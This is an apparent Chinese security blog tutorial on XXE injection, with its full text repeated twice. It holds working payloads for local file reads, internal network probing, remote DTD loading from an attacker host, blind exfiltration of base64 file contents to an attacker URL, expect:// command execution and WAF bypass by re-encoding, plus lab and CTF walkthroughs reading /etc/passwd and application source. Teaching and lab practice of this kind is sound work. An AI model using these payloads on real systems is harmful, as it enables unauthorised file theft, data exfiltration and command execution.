三十九.WEB漏洞-XXE&XML之利用检测绕过全解
2022年 09月 05 日

BIGFISH

关于XML知识点

  • 解释
    • XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
    • XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
  • XML代码示例
  • 各个语言相对应支持的协议
    • 在这里插入图片描述

DTD

  • 解释
    • 文档类型定义(DTD)可定义合法的XML文档构建模块
      它使用一系列合法的元素来定义文档的结构
      DTD可被成行地声明于XML文档中,也可作为一个外部引用
    • (1)内部的DOCTYPE声明
      <!DOCTYPE 根元素 [元素声明]>
    • (2)外部文档声明
      <!DOCTYPE 根元素 SYSTEM "文件名">
  • DTD实体
    • (1)内部实体声明
      <!ENTITY 实体名称 "实体的值">
    • (2)外部实体声明
      <!ENTITY 实体名称 SYSTEM "URI">
    • (3)参数实体声明
      <!ENTITY %实体名称 "实体的值">
      <!ENTITY %实体名称 SYSTEM "URI">

漏洞代码使用方法

  • 1.文件读取协议
    • 代码:
      • <?xml version = "1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///c://test.txt">]><x>&xxe;</x>
    • //xxe为变量,读取test.txt
    • //打印出来
    • //用file协议读指定路径的文件
  • 2.内网探针或攻击内网应用
    • 代码:
      • <?xml version = "1.0" encoding="UTF-8"?>
      • <!DOCTYPE foo [
      • <!ELEMENT foo ANY >
      • <!ENTYTY rabbit SYSTEM "http://192.168.1.4:80/index.txt">
      • ]>
      • <x>&rabbit;</x>
    • 上面的ip地址假设就是内网的一台服务器的ip地址,提交后当存在此ip以及端口文件则不会报错。还可以进行一个端口扫描,看一下端口是否开放。
  • 3.引用外部实体DTD
    • 代码:
      • <?xml version = "1.0"?>
      • <!DOCTYPE test [
      • <!ENTITY % file SYSTEM "http://8.130.17.18/evil2.dtd">
      • %file;
      • ]>
      • <x>&send;</x>
    • 可以在远程攻击者服务器(127.0.0.1)上保存的evil2.dtd写上:
      • evil2.dtd:
        • <!ENTITY send SYSTEM "file:///d:/test.txt">
    • 让对方服务器去访问外部的dtd文件。
    • 可以让对方服务器去访问自己服务器上的dtd文件(自己服务器上的dtd文件根据需要自定义内容),从而到达读取等各种攻击。
    • 条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。
  • 4.RCE4
    • 代码 :
      • <?xml version="1.0" ?>
      • <!DOCTYPE ANY [
      • <!ENTITY xxe SYSTEM "expect://id">
      • ]>
      • <x>&xxe;</x>
    • 读CASE是在安装expect扩展的PHP环境里执行系统命令
  • 5.无回显读取文件
    • 代码:
      • <?xml version="1.0"?>
      • <!DOCTYPE test [
      • <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
      • <!ENTITY % dtd SYSTEM "http://sql.tmzo.club/test.dtd">
      • %dtd;
      • %send;
      • ]>
    • 本地192.168.0.103上构造test.dtd:
      • <!ENTITY % payload
      • "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
      • >
      • %payload;
    • 上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。
    • 解析:
      • 1.通过php的filter协议读取d:/test.txt的文件内容赋值给变量%file
      • 2.让对方服务器远程去访问自己服务器上的dtd文件
      • 3.对方服务器访问到自己服务器的dtd文件后,让它通过get方式带着%file参数去访问自己服务器别的文件
      • 4.通过日志文件查看get参数接收的值,进行base64解密
  • 6.读文件(绕过)
    • ENTITY``SYSTEM``file等关键词被过滤-->使用编码方式绕过:UTF-16BE
      • cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
    • http被过滤-->可以使用其他协议绕过,比如data://协议、file://协议加文件上传、php://filter协议加文件上传
      • <?xml version = "1.0"?>
        <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
        <x>&f;</x>
    • 绕过WAF保护的XXE-->
      • 方法1:文档中的额外空格
        方法2:格式无效
        方法3:外来编码(Exotic encodings)
        方法4:在一个文档中使用两种类型的编码

XXE漏洞的修复与防御方案-PHP,Java,Python-过滤及禁用

  • 方案一:禁用外部实体
  • 过滤用户提交的XML数据
    • 过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

案例演示

  • 案例1:xxe-lab靶场登录框xml数据传输测试-检测发现
  • 案例2:CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
  • 案例3:CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
  • 案例4:xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

案例1:xxe-lab靶场登录框xml数据传输测试-检测发现

  • 如何检测发现xxe漏洞?
    • 1.提交的数据包含xml格式如: <forgot><username>admin</username></forgot>
    • 2.请求头中如:Content-Type: text/xml或Content-Type: application/xml
    • 3.盲猜:更改content-type值application/xml看返回如何检测发现xxe漏洞?
  • 靶场下载地址:https://github.com/c0ny1/xxe-lab
  • 1.以xxe-lab靶场登录框为例,使用burp抓包时,可以右击send to Spider自动爬行网站,所有的网站数据包会在Proxy-History模块显示。
    • 在这里插入图片描述
  • 2.此时可以全局搜索xml关键字
    • 在这里插入图片描述
  • 3.也可以查看MIME type类型是否为XML,MIME type类型为XML对应Content-Type: text/xml或Content-Type: application/xml,对应内容形式如下:<user><username>2</username><password>2</password></user>
  • 4.找到xxe漏洞点后,使用如下脚本攻击测试,成功读取到服务器上文件内容。
    • <?xml version = "1.0"?>
      <!DOCTYPE Mikasa [
      <!ENTITY test SYSTEM "file:///d:/test.txt">
      ]>
      <user><username>&test;</username><password>Mikasa</password></user>
  • 5.bp抓包进行修改(实验未成功)

案例2:CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

案例3:CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战

  • 靶场搭建教程:vulnhub-XXE漏洞靶机流程(图文+工具包)_年关的博客-CSDN博客_漏洞靶机
  • 打开已经搭建好的靶场
  • 参考:渗透:vulnhub-XXE 靶机_0d@y的博客-CSDN博客_xxe靶机
  • 利用过程:扫描IP及端口-->扫描探测目录-->抓包探针xxe安全-->利用xxe读取源码-->flag指向文件-->base32 64解密-->php运行-->flag
  • 1.在本机虚拟机环境安装靶场,靶场安装后,由于我们不知道用户名密码,无法进入(一般镜像环境不会告诉你用户名密码,防止你进入后直接查看后台源码);
  • 2.使用kali自带的netdiscover,扫描本网段除kali的ip之外存活的ip就是xxe靶机的ip
    • netdiscover -i eth0 -r 192.168.215.0/24
    • 将上面的ip一个个试,最后发现http://192.168.215.134/是靶场IP,打开靶场
  • 3.漏洞查找
    • 1.可以通过kali自带的dirb,扫描目录
    • 2.robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
    • 3.打开192.168.49.151/xxe/
    • 4.是一个登录页面,利用bp抓个包
    • 5.右键send to repeater,既然是xxe靶机那就存在xxe漏洞,先试下读取/etc/passwd/
      • 代码(记住这里容易出问题)
        • <?xml version="1.0" encoding="UTF-8"?>
          <!DOCTYPE r [<!ELEMENT r ANY>
          <!ENTITY admin SYSTEM
          "file:///etc/passwd">]>
          <root><name>&admin;</name><password>ujuj</password></root>
      • 我们发现读取成功
    • 6.说明这里存在漏洞,我们可以读取admin.php文件源码
      • 代码:
        • <?xml version="1.0" encoding="UTF-8"?>
          <!DOCTYPE r [<!ELEMENT r ANY>
          <!ENTITY admin SYSTEM
          "php://filter/read=convert.base64-encode/resource=admin.php">]>
          <root><name>&admin;</name><password>ujuj</password></root>
    • 7.我们将获取到的base64解码
  • 3.我们获取到账号密码:administhebest // admin@123
  • 4.登录账号,我们发现这里提示flag
  • 5.我们点击打开,却报错,于是我们利用xxe.php,继续获取代码flagmeout.php
  • 6.然后解密,我们得到flag的加密值,是base32
  • 7.用base32解密,得到base64加密值,再次解密得到:/etc/.flag.php
  • 8.我们继续读取这个文件
    • 代码:
      • <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE r [<!ELEMENT r ANY>
        <!ENTITY admin SYSTEM
        "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">]>
        <root><name>&admin;</name><password>ujuj</password></root>
  • 9.我们解密得到的是看不懂的代码
  • 10.我们直接放在服务器上运行
  • 11.运行结果得到flag

案例4:xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

相关链接:

三十九.WEB漏洞-XXE&XML之利用检测绕过全解

关于XML知识点

  • 解释
    • XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
    • XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
  • XML代码示例
  • 各个语言相对应支持的协议
    • 在这里插入图片描述

DTD

  • 解释
    • 文档类型定义(DTD)可定义合法的XML文档构建模块
      它使用一系列合法的元素来定义文档的结构
      DTD可被成行地声明于XML文档中,也可作为一个外部引用
    • (1)内部的DOCTYPE声明
      <!DOCTYPE 根元素 [元素声明]>
    • (2)外部文档声明
      <!DOCTYPE 根元素 SYSTEM "文件名">
  • DTD实体
    • (1)内部实体声明
      <!ENTITY 实体名称 "实体的值">
    • (2)外部实体声明
      <!ENTITY 实体名称 SYSTEM "URI">
    • (3)参数实体声明
      <!ENTITY %实体名称 "实体的值">
      <!ENTITY %实体名称 SYSTEM "URI">

漏洞代码使用方法

  • 1.文件读取协议
    • 代码:
      • <?xml version = "1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///c://test.txt">]><x>&xxe;</x>
    • //xxe为变量,读取test.txt
    • //打印出来
    • //用file协议读指定路径的文件
  • 2.内网探针或攻击内网应用
    • 代码:
      • <?xml version = "1.0" encoding="UTF-8"?>
      • <!DOCTYPE foo [
      • <!ELEMENT foo ANY >
      • <!ENTYTY rabbit SYSTEM "http://192.168.1.4:80/index.txt">
      • ]>
      • <x>&rabbit;</x>
    • 上面的ip地址假设就是内网的一台服务器的ip地址,提交后当存在此ip以及端口文件则不会报错。还可以进行一个端口扫描,看一下端口是否开放。
  • 3.引用外部实体DTD
    • 代码:
      • <?xml version = "1.0"?>
      • <!DOCTYPE test [
      • <!ENTITY % file SYSTEM "http://8.130.17.18/evil2.dtd">
      • %file;
      • ]>
      • <x>&send;</x>
    • 可以在远程攻击者服务器(127.0.0.1)上保存的evil2.dtd写上:
      • evil2.dtd:
        • <!ENTITY send SYSTEM "file:///d:/test.txt">
    • 让对方服务器去访问外部的dtd文件。
    • 可以让对方服务器去访问自己服务器上的dtd文件(自己服务器上的dtd文件根据需要自定义内容),从而到达读取等各种攻击。
    • 条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。
  • 4.RCE4
    • 代码 :
      • <?xml version="1.0" ?>
      • <!DOCTYPE ANY [
      • <!ENTITY xxe SYSTEM "expect://id">
      • ]>
      • <x>&xxe;</x>
    • 读CASE是在安装expect扩展的PHP环境里执行系统命令
  • 5.无回显读取文件
    • 代码:
      • <?xml version="1.0"?>
      • <!DOCTYPE test [
      • <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
      • <!ENTITY % dtd SYSTEM "http://sql.tmzo.club/test.dtd">
      • %dtd;
      • %send;
      • ]>
    • 本地192.168.0.103上构造test.dtd:
      • <!ENTITY % payload
      • "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
      • >
      • %payload;
    • 上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。
    • 解析:
      • 1.通过php的filter协议读取d:/test.txt的文件内容赋值给变量%file
      • 2.让对方服务器远程去访问自己服务器上的dtd文件
      • 3.对方服务器访问到自己服务器的dtd文件后,让它通过get方式带着%file参数去访问自己服务器别的文件
      • 4.通过日志文件查看get参数接收的值,进行base64解密
  • 6.读文件(绕过)
    • ENTITY``SYSTEM``file等关键词被过滤-->使用编码方式绕过:UTF-16BE
      • cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
    • http被过滤-->可以使用其他协议绕过,比如data://协议、file://协议加文件上传、php://filter协议加文件上传
      • <?xml version = "1.0"?>
        <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
        <x>&f;</x>
    • 绕过WAF保护的XXE-->
      • 方法1:文档中的额外空格
        方法2:格式无效
        方法3:外来编码(Exotic encodings)
        方法4:在一个文档中使用两种类型的编码

XXE漏洞的修复与防御方案-PHP,Java,Python-过滤及禁用

  • 方案一:禁用外部实体
  • 过滤用户提交的XML数据
    • 过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

案例演示

  • 案例1:xxe-lab靶场登录框xml数据传输测试-检测发现
  • 案例2:CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
  • 案例3:CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
  • 案例4:xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

案例1:xxe-lab靶场登录框xml数据传输测试-检测发现

  • 如何检测发现xxe漏洞?
    • 1.提交的数据包含xml格式如: <forgot><username>admin</username></forgot>
    • 2.请求头中如:Content-Type: text/xml或Content-Type: application/xml
    • 3.盲猜:更改content-type值application/xml看返回如何检测发现xxe漏洞?
  • 靶场下载地址:https://github.com/c0ny1/xxe-lab
  • 1.以xxe-lab靶场登录框为例,使用burp抓包时,可以右击send to Spider自动爬行网站,所有的网站数据包会在Proxy-History模块显示。
    • 在这里插入图片描述
  • 2.此时可以全局搜索xml关键字
    • 在这里插入图片描述
  • 3.也可以查看MIME type类型是否为XML,MIME type类型为XML对应Content-Type: text/xml或Content-Type: application/xml,对应内容形式如下:<user><username>2</username><password>2</password></user>
  • 4.找到xxe漏洞点后,使用如下脚本攻击测试,成功读取到服务器上文件内容。
    • <?xml version = "1.0"?>
      <!DOCTYPE Mikasa [
      <!ENTITY test SYSTEM "file:///d:/test.txt">
      ]>
      <user><username>&test;</username><password>Mikasa</password></user>
  • 5.bp抓包进行修改(实验未成功)

案例2:CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

案例3:CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战

  • 靶场搭建教程:vulnhub-XXE漏洞靶机流程(图文+工具包)_年关的博客-CSDN博客_漏洞靶机
  • 打开已经搭建好的靶场
  • 参考:渗透:vulnhub-XXE 靶机_0d@y的博客-CSDN博客_xxe靶机
  • 利用过程:扫描IP及端口-->扫描探测目录-->抓包探针xxe安全-->利用xxe读取源码-->flag指向文件-->base32 64解密-->php运行-->flag
  • 1.在本机虚拟机环境安装靶场,靶场安装后,由于我们不知道用户名密码,无法进入(一般镜像环境不会告诉你用户名密码,防止你进入后直接查看后台源码);
  • 2.使用kali自带的netdiscover,扫描本网段除kali的ip之外存活的ip就是xxe靶机的ip
    • netdiscover -i eth0 -r 192.168.215.0/24
    • 将上面的ip一个个试,最后发现http://192.168.215.134/是靶场IP,打开靶场
  • 3.漏洞查找
    • 1.可以通过kali自带的dirb,扫描目录
    • 2.robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
    • 3.打开192.168.49.151/xxe/
    • 4.是一个登录页面,利用bp抓个包
    • 5.右键send to repeater,既然是xxe靶机那就存在xxe漏洞,先试下读取/etc/passwd/
      • 代码(记住这里容易出问题)
        • <?xml version="1.0" encoding="UTF-8"?>
          <!DOCTYPE r [<!ELEMENT r ANY>
          <!ENTITY admin SYSTEM
          "file:///etc/passwd">]>
          <root><name>&admin;</name><password>ujuj</password></root>
      • 我们发现读取成功
    • 6.说明这里存在漏洞,我们可以读取admin.php文件源码
      • 代码:
        • <?xml version="1.0" encoding="UTF-8"?>
          <!DOCTYPE r [<!ELEMENT r ANY>
          <!ENTITY admin SYSTEM
          "php://filter/read=convert.base64-encode/resource=admin.php">]>
          <root><name>&admin;</name><password>ujuj</password></root>
    • 7.我们将获取到的base64解码
  • 3.我们获取到账号密码:administhebest // admin@123
  • 4.登录账号,我们发现这里提示flag
  • 5.我们点击打开,却报错,于是我们利用xxe.php,继续获取代码flagmeout.php
  • 6.然后解密,我们得到flag的加密值,是base32
  • 7.用base32解密,得到base64加密值,再次解密得到:/etc/.flag.php
  • 8.我们继续读取这个文件
    • 代码:
      • <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE r [<!ELEMENT r ANY>
        <!ENTITY admin SYSTEM
        "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">]>
        <root><name>&admin;</name><password>ujuj</password></root>
  • 9.我们解密得到的是看不懂的代码
  • 10.我们直接放在服务器上运行
  • 11.运行结果得到flag

案例4:xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

相关链接:

赞 (0)

猜您想看

Linux彻底删除Nginx

1.先执行一下...

01

矩阵转置问题

矩阵例题链接:...

02

201-B10-metasploit

metaspl...

03

【tools-download】

爆破工具 ...

04

201-B1-浏览器插件

一 Firef...

06

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论